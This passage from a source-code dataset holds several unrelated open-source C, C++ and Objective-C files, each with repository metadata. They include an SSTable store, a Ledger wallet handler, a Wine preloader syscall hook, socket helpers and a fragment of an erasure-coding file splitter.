return NULL; } table->high_key = high_key; table->high_key_len = high_key_len; return table; } struct SSTable *SSTable_new_from_memtable(char *path, struct MemTable *memtable) { FILE *file = fopen(path, "w+"); if (file == NULL) { perror("fopen"); return NULL; } for (int i = 0; i < memtable->size; i++) { uint64_t key_len = memtable->records[i]->key_len; int64_t value_loc = memtable->records[i]->value_loc; size_t res = fwrite(&key_len, sizeof(uint64_t), 1, file); if (res != 1) { perror("fwrite"); return NULL; } res = fwrite(&value_loc, sizeof(int64_t), 1, file); if (res != 1) { perror("fwrite"); return NULL; } res = fwrite(memtable->records[i]->key, sizeof(char), key_len, file); if (res != key_len) { perror("fwrite"); return NULL; } } int res = fclose(file); if (res == -1) { perror("fclose"); return NULL; } return SSTable_new(path); } int SSTable_key_cmp(struct SSTableRecord *r, const char *key, size_t key_len) { size_t len = r->key_len < key_len ? r->key_len : key_len; int cmp = memcmp(key, r->key, len); if (cmp != 0 || r->key_len == key_len) { return cmp; } return key_len < r->key_len ? -1 : 1; } int64_t SSTable_get_value_loc(struct SSTable *table, char *key, size_t key_len) { if (table->size == 0) { return SSTABLE_KEY_NOT_FOUND; } int a = 0; int b = (int) table->size - 1; while (a < b) { int m = a + (b - a) / 2; struct SSTableRecord record; SSTableRecord_read(table, &record, table->records[m]); int cmp = SSTable_key_cmp(&record, key, key_len); free(record.key); if (cmp == 0) { return record.value_loc; } else if (cmp < 0) { b = m - 1; } else { a = m + 1; } } struct SSTableRecord record; int res = SSTableRecord_read(table, &record, table->records[a]); if (res == -1) { perror("Error reading record from SSTable"); return -1; } int cmp = SSTable_key_cmp(&record, key, key_len); free(record.key); if (cmp == 0) { return record.value_loc; } return SSTABLE_KEY_NOT_FOUND; } int SSTable_in_key_range(struct SSTable *table, char *key, size_t key_len) { int low_key_cmp; int high_key_cmp; size_t low_len = table->low_key_len < key_len ? table->low_key_len : key_len; int cmp = memcmp(key, table->low_key, low_len); if (cmp != 0 || table->low_key_len == key_len) { low_key_cmp = cmp; } else { low_key_cmp = key_len < table->low_key_len ? -1 : 1; } size_t high_len = table->high_key_len < key_len ? table->high_key_len : key_len; cmp = memcmp(key, table->high_key, high_len); if (cmp != 0 || table->high_key_len == key_len) { high_key_cmp = cmp; } else { high_key_cmp = key_len < table->high_key_len ? -1 : 1; } if (low_key_cmp >= 0 && high_key_cmp <= 0) { return 1; } return 0; } void SSTable_free(struct SSTable *table) { int res = fclose(table->file); if (res == -1) { perror("fclose"); } free(table->high_key); free(table->low_key); free(table->records); free(table); }
25.803175
94
0.579724
b255a6dcdc36410074f94072a066cd9c02445433
2,350
c
C
src/libv_apdu_get_token_info.c
vitelabs/ledger-app-vite
5477ff18a1c0a9edb68427df3ea8af214ab7c257
[ "Apache-2.0" ]
2
2020-03-27T21:06:47.000Z
2021-11-03T02:21:14.000Z
src/libv_apdu_get_token_info.c
vitelabs/ledger-app-vite
5477ff18a1c0a9edb68427df3ea8af214ab7c257
[ "Apache-2.0" ]
1
2021-06-16T10:52:20.000Z
2021-06-16T10:52:20.000Z
src/libv_apdu_get_token_info.c
vitelabs/ledger-app-vite
5477ff18a1c0a9edb68427df3ea8af214ab7c257
[ "Apache-2.0" ]
null
null
null
/******************************************************************************* * Vite Wallet for Ledger Nano S * (c) 2020 Vite Labs * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ********************************************************************************/ #include "libv_internal.h" #include "libv_apdu_get_token_info.h" #include "libv_apdu_constants.h" #include "libv_helpers.h" #define P1_UNUSED 0x00 #define P2_UNUSED 0x00 uint16_t libv_apdu_get_token_info_output(libv_apdu_response_t *resp, TOKEN_INFO tokenInfo); uint16_t libv_apdu_get_token_info(libv_apdu_response_t *resp) { switch (G_io_apdu_buffer[ISO_OFFSET_P1]) { case P1_UNUSED: break; default: return LIBV_SW_INCORRECT_P1_P2; } switch (G_io_apdu_buffer[ISO_OFFSET_P2]) { case P2_UNUSED: break; default: return LIBV_SW_INCORRECT_P1_P2; } if (G_io_apdu_buffer[ISO_OFFSET_LC] != 2) { return LIBV_SW_INCORRECT_LENGTH; } uint16_t index = (((uint16_t)G_io_apdu_buffer[ISO_OFFSET_CDATA]) << 8) + G_io_apdu_buffer[ISO_OFFSET_CDATA + 1]; if (index >= TOKEN_INFO_ARRAY_LEN) { return LIBV_SW_ARRAY_OUT_OF_BOUNDS; } TOKEN_INFO tokenInfo = TOKEN_INFO_ARRAY[index]; return libv_apdu_get_token_info_output(resp, tokenInfo); } uint16_t libv_apdu_get_token_info_output(libv_apdu_response_t *resp, TOKEN_INFO tokenInfo) { uint8_t *outPtr = resp->buffer; uint8_t length; length = libv_token_id_format(outPtr, tokenInfo.tokenId);; outPtr += length; length = 1; os_memmove(outPtr, &tokenInfo.unitScale, length); outPtr += length; length = strnlen(tokenInfo.suffix, sizeof(tokenInfo.suffix)); os_memmove(outPtr, tokenInfo.suffix, length); outPtr += length; resp->outLength = outPtr - resp->buffer; return LIBV_SW_OK; }
30.921053
116
0.674894
b26984ccf5dba0437cdd0ffc79a67cec4edd97e5
1,720
c
C
lens_flare.c
3RUN/Lens-Flare
d00baffcfded847065285313fcf043b8eefd7d4d
[ "MIT" ]
3
2020-07-27T10:19:31.000Z
2022-01-06T10:05:05.000Z
lens_flare.c
3RUN/Lens-Flare
d00baffcfded847065285313fcf043b8eefd7d4d
[ "MIT" ]
null
null
null
lens_flare.c
3RUN/Lens-Flare
d00baffcfded847065285313fcf043b8eefd7d4d
[ "MIT" ]
null
null
null
// register new lens flare for the given entity with the given offset LIGHT_SOURCE *lens_flare_register(ENTITY *ent, VECTOR *offset_) { if(!ent) { error("ERROR! Can't register lens flare! Entity doesn't exist!"); return NULL; } ent->OBJ_TYPE = TYPE_LIGHT; LIGHT_SOURCE *light = sys_malloc(sizeof(LIGHT_SOURCE)); ent->OBJ_STRUCT = light; ent->OBJ_ID = total_light_sources; vec_set(&light->offset, offset_); vec_set(&light->world_pos, &light->offset); vec_rotate(&light->world_pos, &ent->pan); vec_add(&light->world_pos, &ent->x); light->faded = true; light->owner_ent = ent; light->aura_ent = ent_create(lens_flare_b_tga, &light->world_pos, NULL); set(light->aura_ent, TRANSLUCENT | BRIGHT | PASSABLE | LIGHT | UNLIT | NOFOG); vec_set(&light->aura_ent->blue, &ent->blue); light->aura_ent->ambient = 100; light->aura_ent->albedo = -100; light->aura_ent->alpha = 0; light->aura_ent->scale_x = LIGHT_AURA_SIZE_X; light->aura_ent->scale_y = LIGHT_AURA_SIZE_Y; lens_flare_create_all(light); total_light_sources++; return light; } // get structure from the lens flare entity LIGHT_SOURCE *get_lens_flare(ENTITY *ent) { if(!ent) { error("ERROR! Can't get lens flare! Entity doesn't exist!"); return NULL; } LIGHT_SOURCE *light = ent->OBJ_STRUCT; return light; } // remove lens flare structure from the given entity var remove_lens_flare(ENTITY *ent) { if(!ent) { error("ERROR! Can't remove lens flare! Entity doesn't exist!"); return NULL; } LIGHT_SOURCE *light = get_lens_flare(ent); light->owner_ent = NULL; ptr_remove(light->aura_ent); light->aura_ent = NULL; lens_flare_remove_all(light); sys_free(light); light = NULL; ent->OBJ_STRUCT = NULL; }
23.561644
79
0.709884
bf7e2d496f14dd0f99ef2ae16213effad8c8e7b8
334
h
C
DateMaths/DateMathsViewModel.h
jdunwoody/DateMaths
d29d10a0e5b19adf2243d5566d98383d8737ac3c
[ "MIT" ]
null
null
null
DateMaths/DateMathsViewModel.h
jdunwoody/DateMaths
d29d10a0e5b19adf2243d5566d98383d8737ac3c
[ "MIT" ]
null
null
null
DateMaths/DateMathsViewModel.h
jdunwoody/DateMaths
d29d10a0e5b19adf2243d5566d98383d8737ac3c
[ "MIT" ]
null
null
null
// // Created by James Dunwoody on 29/03/15. // Copyright (c) 2015 ___FULLUSERNAME___. All rights reserved. // #import <Foundation/Foundation.h> @interface DateMathsViewModel : NSObject @property (nonatomic, readonly) NSString *formattedDate; - (instancetype)init __unavailable; - (instancetype)initWithDate:(NSDate *)date; @end
20.875
62
0.757485
c79a5c0a25bb983c6639c17829096291620f13cb
3,142
h
C
blades/icecast2/win32/Icecast2winDlg.h
krattai/AEBL
a7b12c97479e1236d5370166b15ca9f29d7d4265
[ "BSD-2-Clause" ]
4
2016-04-26T03:43:54.000Z
2016-11-17T08:09:04.000Z
blades/icecast2/win32/Icecast2winDlg.h
krattai/AEBL
a7b12c97479e1236d5370166b15ca9f29d7d4265
[ "BSD-2-Clause" ]
17
2015-01-05T21:06:22.000Z
2015-12-07T20:45:44.000Z
blades/icecast2/win32/Icecast2winDlg.h
krattai/AEBL
a7b12c97479e1236d5370166b15ca9f29d7d4265
[ "BSD-2-Clause" ]
3
2016-04-26T03:43:55.000Z
2020-11-06T11:02:08.000Z
// Icecast2winDlg.h : header file // #if !defined(AFX_ICECAST2WINDLG_H__23B4DA8B_C9BC_49C8_A62C_37FC6BC5E54A__INCLUDED_) #define AFX_ICECAST2WINDLG_H__23B4DA8B_C9BC_49C8_A62C_37FC6BC5E54A__INCLUDED_ #include "TabCtrlSSL.h" #include "TabPageSSL.h" #include "ConfigTab.h" #include "StatsTab.h" #include "Status.h" #include "TrayNot.h" #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 ///////////////////////////////////////////////////////////////////////////// // CIcecast2winDlg dialog class CIcecast2winDlg : public CDialog { // Construction public: time_t serverStart; void config_read(); void config_write(); void UpdateStatsLists(); CConfigTab configTab; CStatsTab statsTab; CStatus statusTab; int m_colSource0Width; int m_colStats0Width; int m_colStats1Width; int m_colGStats0Width; int m_colGStats1Width; int m_colGStats2Width; CFont labelFont; CBitmap runningBitmap; CBitmap stoppedBitmap; CTrayNot* m_pTray; BOOL m_bHidden; int m_iconSwap; void StopServer(); bool m_isRunning; void DisableControl(UINT control); void EnableControl(UINT control); void getTag(char *pbuf, char *ptag, char *dest); CString m_ErrorLog; CString m_AccessLog; void ParseConfig(); void LoadConfig(); CIcecast2winDlg(CWnd* pParent = NULL); // standard constructor // Dialog Data //{{AFX_DATA(CIcecast2winDlg) enum { IDD = IDD_ICECAST2WIN_DIALOG }; CStatic m_SS; CStatic m_ServerStatusBitmap; CStatic m_iceLogo; CButton m_StartButton; CEdit m_StatsEditCtrl; CEdit m_ConfigEditCtrl; CEdit m_ErrorEditCtrl; CEdit m_AccessEditCtrl; CTabCtrlSSL m_MainTab; CString m_AccessEdit; CString m_ErrorEdit; CString m_ConfigEdit; CString m_ServerStatus; CString m_SourcesConnected; CString m_NumClients; FILE *filep_accesslog; FILE *filep_errorlog; CString m_StatsEdit; BOOL m_Autostart; //}}AFX_DATA // ClassWizard generated virtual function overrides //{{AFX_VIRTUAL(CIcecast2winDlg) protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support //}}AFX_VIRTUAL // Implementation protected: HICON m_hIcon; // Generated message map functions //{{AFX_MSG(CIcecast2winDlg) virtual BOOL OnInitDialog(); afx_msg void OnSysCommand(UINT nID, LPARAM lParam); afx_msg void OnPaint(); afx_msg HCURSOR OnQueryDragIcon(); afx_msg void OnSelchangeMaintab(NMHDR* pNMHDR, LRESULT* pResult); afx_msg void OnFileExit(); afx_msg void OnTimer(UINT nIDEvent); afx_msg void OnFileStartserver(); afx_msg void OnFileStopserver(); afx_msg void OnStart(); afx_msg void OnClose(); afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg void OnHidesystray(); afx_msg void OnHide(); afx_msg void OnBlankRestore(); afx_msg LONG OnTrayNotify ( WPARAM wParam, LPARAM lParam ); afx_msg void OnDestroy(); afx_msg void OnFileEditconfiguration(); afx_msg void OnAboutHelp(); afx_msg void OnAboutCredits(); //}}AFX_MSG DECLARE_MESSAGE_MAP() }; //{{AFX_INSERT_LOCATION}} // Microsoft Visual C++ will insert additional declarations immediately before the previous line. #endif // !defined(AFX_ICECAST2WINDLG_H__23B4DA8B_C9BC_49C8_A62C_37FC6BC5E54A__INCLUDED_)
25.136
97
0.759071
0fdb64f64fad48e1263c875ef7bee0d7b7e0c426
3,397
c
C
wine_hooks_src/preloaderhook64.c
ferion11/libsutil
ee8fd2efff577c700c5960de1b81ad4c22f947a6
[ "MIT" ]
null
null
null
wine_hooks_src/preloaderhook64.c
ferion11/libsutil
ee8fd2efff577c700c5960de1b81ad4c22f947a6
[ "MIT" ]
null
null
null
wine_hooks_src/preloaderhook64.c
ferion11/libsutil
ee8fd2efff577c700c5960de1b81ad4c22f947a6
[ "MIT" ]
null
null
null
#include <stdlib.h> #include <sys/ptrace.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #include <sys/reg.h> #include <sys/user.h> #include <stdio.h> #include <syscall.h> #include <fcntl.h> #include <string.h> /* * Author: https://github.com/Hackerl * https://github.com/Hackerl/Wine_Appimage/issues/11#issuecomment-448081998 * sudo apt-get -y install gcc-multilib * only for i386: gcc -std=c99 -m32 -static preloaderhook.c -o wine-preloader_hook * Put the file in the /bin directory, in the same directory as the wine-preloader. * hook int 0x80 open syscall. use special ld.so gcc -std=c99 -static preloaderhook64.c -o wine64-preloader_hook * */ #define LONGSIZE sizeof(long) #define TARGET_PATH "/lib64/ld-linux-x86-64.so.2" #define HasZeroByte(v) ~((((v & 0x7F7F7F7F) + 0x7F7F7F7F) | v) | 0x7F7F7F7F) #define HOOK_OPEN_LD_SYSCALL -1 int main(int argc, char ** argv) { if (argc < 2) return 0; char * wineloader = (char *) getenv("WINE64LDLIBRARY"); if (wineloader == NULL) { return 0; } int LD_fd = open(wineloader, O_RDONLY); if (LD_fd == -1) { return 0; } pid_t child = fork(); if(child == 0) { ptrace(PTRACE_TRACEME, 0, NULL, NULL); execv(*(argv + 1), argv + 1); } else { while(1) { int status = 0; wait(&status); if(WIFEXITED(status)) break; long orig_eax = ptrace(PTRACE_PEEKUSER, child, 8 * ORIG_RAX, NULL); static int insyscall = 0; if (orig_eax == HOOK_OPEN_LD_SYSCALL) { ptrace(PTRACE_POKEUSER, child, 8 * RAX, LD_fd); //Detch ptrace(PTRACE_DETACH, child, NULL, NULL); break; } if (orig_eax == SYS_open) { if(insyscall == 0) { /* Syscall entry */ insyscall = 1; //Get Path Ptr long rbx = ptrace(PTRACE_PEEKUSER, child, 8 * RBX, NULL); char Path[256]; memset(Path, 0, 256); //Read Path String for (int i = 0; i < sizeof(Path)/LONGSIZE; i ++) { union { long val; char chars[LONGSIZE]; } data; data.val = ptrace(PTRACE_PEEKDATA, child, rbx + i * 8, NULL); memcpy(Path + i * 8, data.chars, LONGSIZE); if (HasZeroByte(data.val)) break; } if (strcmp(Path, TARGET_PATH) == 0) { //Modify Syscall -1. So Will Not Call Open Syscall. ptrace(PTRACE_POKEUSER, child, 8 * ORIG_RAX, HOOK_OPEN_LD_SYSCALL); } } else { /* Syscall exit */ insyscall = 0; } } ptrace(PTRACE_SYSCALL, child, NULL, NULL); } } close(LD_fd); return 0; }
25.931298
91
0.458934
48b617b0a02c736fccb2d70de7feddbad164d013
490
c
C
tests/binutils-2.30/src/gold/testsuite/exclude_libs_test_1.c
sillywalk/grazz
a0adb1a90d41ff9006d8c1476546263f728b3c83
[ "Apache-2.0" ]
3
2021-05-04T17:09:06.000Z
2021-10-04T07:19:26.000Z
tests/binutils-2.30/src/gold/testsuite/exclude_libs_test_1.c
sillywalk/grazz
a0adb1a90d41ff9006d8c1476546263f728b3c83
[ "Apache-2.0" ]
null
null
null
tests/binutils-2.30/src/gold/testsuite/exclude_libs_test_1.c
sillywalk/grazz
a0adb1a90d41ff9006d8c1476546263f728b3c83
[ "Apache-2.0" ]
1
2021-03-24T06:40:32.000Z
2021-03-24T06:40:32.000Z
void lib1_default (void); void lib1_hidden (void); void lib1_internal (void); void lib1_protected (void); void lib1_ref (void); extern void lib2_default (void); void __attribute__((visibility ("default"))) lib1_default (void) { } void __attribute__((visibility ("hidden"))) lib1_hidden (void) { } void __attribute__((visibility ("internal"))) lib1_internal (void) { } void __attribute__((visibility ("protected"))) lib1_protected (void) { } void lib1_ref (void) { lib2_default (); }
14.848485
46
0.726531
5d4b79838b43aeff6697a58e772fbec140f2c3b8
62
c
C
lib/ext/digest/rmd160/rmd160init.c
marnen/rubinius
05b3f9789d01bada0604a7f09921c956bc9487e7
[ "BSD-3-Clause" ]
1
2016-05-08T16:58:14.000Z
2016-05-08T16:58:14.000Z
lib/ext/digest/rmd160/rmd160init.c
taf2/rubinius
493bfa2351fc509ca33d3bb03991c2e9c2b6dafa
[ "BSD-3-Clause" ]
null
null
null
lib/ext/digest/rmd160/rmd160init.c
taf2/rubinius
493bfa2351fc509ca33d3bb03991c2e9c2b6dafa
[ "BSD-3-Clause" ]
null
null
null
#include "rmd160.h" #include "ruby.h" void Init_rmd160() { }
8.857143
19
0.66129
56feca541cfcd02c7fd80cd735621ee44b8f286f
474
h
C
siyana-renderer/src/DensityFunctions.h
JVillella/siyana-renderer
ebb00cc2a4cc9eaba799b1404a2b33d67fbccf0f
[ "MIT" ]
11
2015-03-17T14:20:38.000Z
2018-08-20T03:32:00.000Z
siyana-renderer/src/DensityFunctions.h
JVillella/siyana-renderer
ebb00cc2a4cc9eaba799b1404a2b33d67fbccf0f
[ "MIT" ]
null
null
null
siyana-renderer/src/DensityFunctions.h
JVillella/siyana-renderer
ebb00cc2a4cc9eaba799b1404a2b33d67fbccf0f
[ "MIT" ]
null
null
null
#ifndef DENSITYFUNCTIONS_H_INCLUDED #define DENSITYFUNCTIONS_H_INCLUDED #define __OPENCL_HOST__ #include "Utilities.h" #undef __OPENCL_HOST__ //**uses the libnoise library for generating complex coherent noise**// float PerlinNoise(const float3& p); float RidgedTerrain(const float3& p); float Plane(const float3& p); float Sphere(const float3& o, float radius, const float3& p); float Terrain(const float3& p); #endif // DENSITYFUNCTIONS_H_INCLUDED
27.882353
72
0.761603
1fc94b23a4f1375648bc5c8e2677c02a4b703bb6
409
h
C
Task.h
UselessAkita/csce306_portfolio
79aa6deb9fa60cfd55ea8895b1253a5d6b3ed22f
[ "MIT" ]
null
null
null
Task.h
UselessAkita/csce306_portfolio
79aa6deb9fa60cfd55ea8895b1253a5d6b3ed22f
[ "MIT" ]
1
2022-03-07T19:44:59.000Z
2022-03-07T19:44:59.000Z
Task.h
UselessAkita/csce306_portfolio
79aa6deb9fa60cfd55ea8895b1253a5d6b3ed22f
[ "MIT" ]
1
2022-03-07T19:44:28.000Z
2022-03-07T19:44:28.000Z
// Joshua M Buhr // CSCE 306; Spring 2022 // Portfolio Assignment - main.cpp // Code Summary: #include <iostream> #include <string> #include "NewDate.h" #include "ClassCourse.h" using namespace std; class Task { public: protected: private: string task_name; NewDate assigned_date; NewDate due_date; ClassCourse course_assigned; string assignment_description; int task_priority; };
16.36
34
0.721271
4edd36e4283794b95e7d91b66563c6e51e4ed68b
361
h
C
src/libclientserver/ThreadFunction.h
mistralol/libclientserver
b90837149715d396cf68c2e82c539971e7efeb80
[ "MIT" ]
4
2016-03-30T14:33:31.000Z
2021-07-12T06:07:34.000Z
src/libclientserver/ThreadFunction.h
mistralol/libclientserver
b90837149715d396cf68c2e82c539971e7efeb80
[ "MIT" ]
null
null
null
src/libclientserver/ThreadFunction.h
mistralol/libclientserver
b90837149715d396cf68c2e82c539971e7efeb80
[ "MIT" ]
null
null
null
class ThreadFunction : public Thread { public: ThreadFunction(std::function<void()>, int seconds = 0); ~ThreadFunction(); void Start(); void Stop(); void WakeUp(); void Run(); private: std::function<void()> m_func; Mutex m_mutex; int m_interval; bool m_running; };
19
63
0.529086
825170a27051636a3446296c7a28a42e3c1a9d15
2,017
h
C
src/queue/queue.h
guidanoli/aa
81814c7d72d7126308440d0ad07892a36800de20
[ "MIT" ]
null
null
null
src/queue/queue.h
guidanoli/aa
81814c7d72d7126308440d0ad07892a36800de20
[ "MIT" ]
2
2021-08-19T17:57:12.000Z
2021-08-19T17:59:23.000Z
src/queue/queue.h
guidanoli/aa
81814c7d72d7126308440d0ad07892a36800de20
[ "MIT" ]
null
null
null
#ifndef __YADSL_QUEUE_H__ #define __YADSL_QUEUE_H__ /** * \defgroup queue Queue * @brief Generic queue * * A Queue starts empty. You can only queue and dequeue items. * On destruction, the items still on the queue are deallocated * with a function provided upon creation. * * @{ */ #include <stdbool.h> /** * @brief Value returned by Queue functions */ typedef enum { YADSL_QUEUE_RET_OK = 0, /**< All went ok*/ YADSL_QUEUE_RET_EMPTY, /**< Queue is empty */ YADSL_QUEUE_RET_MEMORY, /**< Could not allocate memory */ } yadsl_QueueRet; typedef void yadsl_QueueHandle; /**< Queue handle */ typedef void yadsl_QueueItemObj; /**< Queue item object */ /** * @brief Function responsible for freeing item * @param item queue item */ typedef void (*yadsl_QueueItemFreeFunc)( yadsl_QueueItemObj* item); /** * @brief Create an empty queue * @param free_item_func item freeing function * @return newly created queue or NULL if could not allocate memory */ yadsl_QueueHandle* yadsl_queue_create( yadsl_QueueItemFreeFunc free_item_func); /** * @brief Queue item * @param queue queue * @param item item to be queued * @return * * ::YADSL_QUEUE_RET_OK, and item is queued * * ::YADSL_QUEUE_RET_MEMORY */ yadsl_QueueRet yadsl_queue_queue( yadsl_QueueHandle* queue, yadsl_QueueItemObj* item); /** * @brief Dequeue item * @param queue queue * @param item_ptr dequeued item * @return * * ::YADSL_QUEUE_RET_OK, and *item_ptr is updated * * ::YADSL_QUEUE_RET_EMPTY */ yadsl_QueueRet yadsl_queue_dequeue( yadsl_QueueHandle* queue, yadsl_QueueItemObj** item_ptr); /** * @brief Check whether queue is empty or not * @param queue queue * @param is_empty_ptr whether queue is empty or not * @return * * ::YADSL_QUEUE_RET_OK, and *is_empty_ptr is updated */ yadsl_QueueRet yadsl_queue_empty_check( yadsl_QueueHandle* queue, bool* is_empty_ptr); /** * @brief Destroy queue and its remaining items * @param queue queue */ void yadsl_queue_destroy( yadsl_QueueHandle* queue); /** @} */ #endif
21.010417
67
0.73178
61387eb0f1a2d8fb44f7f2c0286b7cddbeb4806c
3,244
c
C
samples/common/sock.c
rlubos/uoscore-uedhoc
fb734ee359bf444b725d88a6167857cf4540e366
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
22
2021-03-30T18:30:39.000Z
2022-03-23T08:25:25.000Z
samples/common/sock.c
rlubos/uoscore-uedhoc
fb734ee359bf444b725d88a6167857cf4540e366
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
10
2021-04-13T14:52:47.000Z
2022-03-17T20:38:29.000Z
samples/common/sock.c
rlubos/uoscore-uedhoc
fb734ee359bf444b725d88a6167857cf4540e366
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
12
2021-03-30T18:30:58.000Z
2022-02-16T09:44:38.000Z
/* Copyright (c) 2021 Fraunhofer AISEC. See the COPYRIGHT file at the top-level directory of this distribution. Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or http://www.apache.org/licenses/LICENSE-2.0> or the MIT license <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your option. This file may not be copied, modified, or distributed except according to those terms. */ #include "sock.h" #include <arpa/inet.h> #include <stdio.h> #include <string.h> #include <sys/socket.h> int sockfd; /** * @brief Initializes a IPv4 client or server socket * @param sock_t CLIENT or SERVER * @param ipv6_addr_str ip address as string * @param servaddr address struct * @param servaddr_len length of servaddr * @retval error code */ static inline int ipv4_sock_init(enum sock_type sock_t, const char *ipv4_addr_str, struct sockaddr_in *servaddr, size_t servaddr_len) { int r; memset(servaddr, 0, servaddr_len); /* Creating socket file descriptor */ sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) return sockfd; servaddr->sin_family = AF_INET; servaddr->sin_port = htons(PORT); servaddr->sin_addr.s_addr = inet_addr(ipv4_addr_str); if (sock_t == SOCK_CLIENT) { r = connect(sockfd, (const struct sockaddr *)servaddr, servaddr_len); if (r < 0) return r; printf("IPv4 client to connect to server with address %s started!\n", ipv4_addr_str); } else { r = bind(sockfd, (const struct sockaddr *)servaddr, servaddr_len); if (r < 0) return r; printf("IPv4 server with address %s started!\n", ipv4_addr_str); } return 0; } /** * @brief Initializes a IPv6 client or server socket * @param sock_t CLIENT or SERVER * @param ipv6_addr_str ip address as string * @param servaddr address struct * @param servaddr_len length of servaddr * @retval error code */ static inline int ipv6_sock_init(enum sock_type sock_t, const char *ipv6_addr_str, struct sockaddr_in6 *servaddr, size_t servaddr_len) { int r; memset(servaddr, 0, servaddr_len); /* Creating socket file descriptor */ sockfd = socket(AF_INET6, SOCK_DGRAM, 0); if (sockfd < 0) return sockfd; servaddr->sin6_family = AF_INET6; servaddr->sin6_port = htons(PORT); r = inet_pton(AF_INET6, ipv6_addr_str, &servaddr->sin6_addr); if (r < 0) return r; if (sock_t == SOCK_CLIENT) { r = connect(sockfd, (const struct sockaddr *)servaddr, servaddr_len); if (r < 0) return r; printf("IPv6 client to connect to server with address %s started!\n", ipv6_addr_str); } else { r = bind(sockfd, (const struct sockaddr *)servaddr, servaddr_len); if (r < 0) return r; printf("IPv6 server with address %s started!\n", ipv6_addr_str); } return 0; } int sock_init(enum sock_type sock_t, const char *addr_str, enum ip_addr_type ip_t, void *servaddr, size_t servaddr_len) { int r; if (ip_t == IPv4) { r = ipv4_sock_init(sock_t, addr_str, (struct sockaddr_in *)servaddr, servaddr_len); if (r < 0) return r; } else { r = ipv6_sock_init(sock_t, addr_str, (struct sockaddr_in6 *)servaddr, servaddr_len); if (r < 0) return r; } return 0; }
24.953846
71
0.682491
9fa811ae7fe6fb7625d291d305c5f56a1883121f
602
h
C
BattleTank/Source/BattleTank/Public/TankAIController.h
Heinhain/TankDemo
265927e77c2084724cef0486ce5c6bfa097fd238
[ "Unlicense" ]
null
null
null
BattleTank/Source/BattleTank/Public/TankAIController.h
Heinhain/TankDemo
265927e77c2084724cef0486ce5c6bfa097fd238
[ "Unlicense" ]
null
null
null
BattleTank/Source/BattleTank/Public/TankAIController.h
Heinhain/TankDemo
265927e77c2084724cef0486ce5c6bfa097fd238
[ "Unlicense" ]
null
null
null
// Fill out your copyright notice in the Description page of Project Settings. #pragma once #include "AIController.h" #include "TankAIController.generated.h" class UTankAimingComponent; /** * */ UCLASS() class BATTLETANK_API ATankAIController : public AAIController { GENERATED_BODY() protected: UPROPERTY(EditDefaultsOnly) float AcceptanceRadius = 8000.0f; private: virtual void BeginPlay() override; virtual void Tick(float DeltaSeconds) override; virtual void SetPawn(APawn* InPawn) override; UTankAimingComponent* AimingComponent; UFUNCTION() void OnPossesedTankDeath(); };
18.242424
78
0.774086
f91929c4270af17d6a0fd85d107f22b2a2a62e00
7,607
c
C
lhsplit.c
d0i/lhcast
71ad2a84a17d73c76358efe4479569ea069530b4
[ "Apache-2.0" ]
1
2017-05-26T12:16:34.000Z
2017-05-26T12:16:34.000Z
lhsplit.c
d0i/lhcast
71ad2a84a17d73c76358efe4479569ea069530b4
[ "Apache-2.0" ]
null
null
null
lhsplit.c
d0i/lhcast
71ad2a84a17d73c76358efe4479569ea069530b4
[ "Apache-2.0" ]
null
null
null
/* This software is part of lhcast Copyright 2015 Yusuke DOI <doi@wide.ad.jp> */ #include <sys/socket.h> #include <sys/types.h> #include <sys/stat.h> #include <netinet/in.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <time.h> #include <assert.h> #include "cauchy_256.h" #include "lhcast.h" #define MIN(x, y) ((x)>(y)?(y):(x)) #define DEFAULT_BLOCKSIZE 1464 #define DEFAULT_REDUNDANCY_PCT 50 #define FNLEN 128 struct lhsplit_args { char outf_basename[FNLEN]; int outf_cnt; FILE *outf_stream; // has priority to outf_basename int blocksize; int redundancy_pct; u_int8_t current_seguid[SEGUID_LEN]; }; void init_seguid(u_int8_t *seguid){ // randomly initialize SEGUID_LEN-3 for (int i = 0; i < SEGUID_LEN-3; i++){ seguid[i] = rand()%256; } for (int i = SEGUID_LEN-3; i < SEGUID_LEN; i++){ seguid[i] = 0; } } void incr_seguid(u_int8_t *seguid){ for (int i = SEGUID_LEN-1; i >= 0; i--){ seguid[i] ++; if (seguid[i] != 0){ break; } } return; } FILE *prepare_nextfile(struct lhsplit_args *arg_p){ char fnbuf[FNLEN]; FILE *outf; if (arg_p->outf_stream){ return arg_p->outf_stream; } snprintf(fnbuf, sizeof(fnbuf)-1, "%s%03d.lhb", arg_p->outf_basename, arg_p->outf_cnt++); if ((outf = fopen(fnbuf, "w")) == NULL){ perror("open"); return NULL; } return outf; } FILE *lharg_fclose(struct lhsplit_args *arg_p, FILE *fp){ // if it's not a stream, close if (arg_p->outf_stream == NULL){ fclose(fp); fp = NULL; } return fp; } int proper_k(int blksum, int redun_pct){ // ceil(k * (redun_pct/100)) < m && (k+m) < blksum // (redun_pct + 100)/100 =:= blksum // 100:redun_pct = k:m float blk_rt; int k; int m; blk_rt = (100.0/(float)(redun_pct+100)) * blksum; m = (int)(blk_rt * float(redun_pct)/100.0)+1; k = blksum-m; return k; } // returns 0 on success, -1 on failure int lh_encode_segment(u_int8_t *segbuf, int segsz, int k, int m, struct lhsplit_args *arg_p){ LHCSegHdr shdr; LHCBlkHdr bhdr; int i, r; FILE *outf = NULL; u_int8_t **data_ptrs=NULL; u_int8_t *recovery_blocks=NULL; int rcode=0; memset(&shdr, 0, sizeof(shdr)); shdr.htype = HTYPE_SEGHDR; shdr.k = k; shdr.m = m; shdr.blksz = htons(arg_p->blocksize); shdr.final_blksz = htons(segsz%arg_p->blocksize); memcpy(shdr.segment_uid, arg_p->current_seguid, SEGUID_LEN); incr_seguid(arg_p->current_seguid); if ((outf = 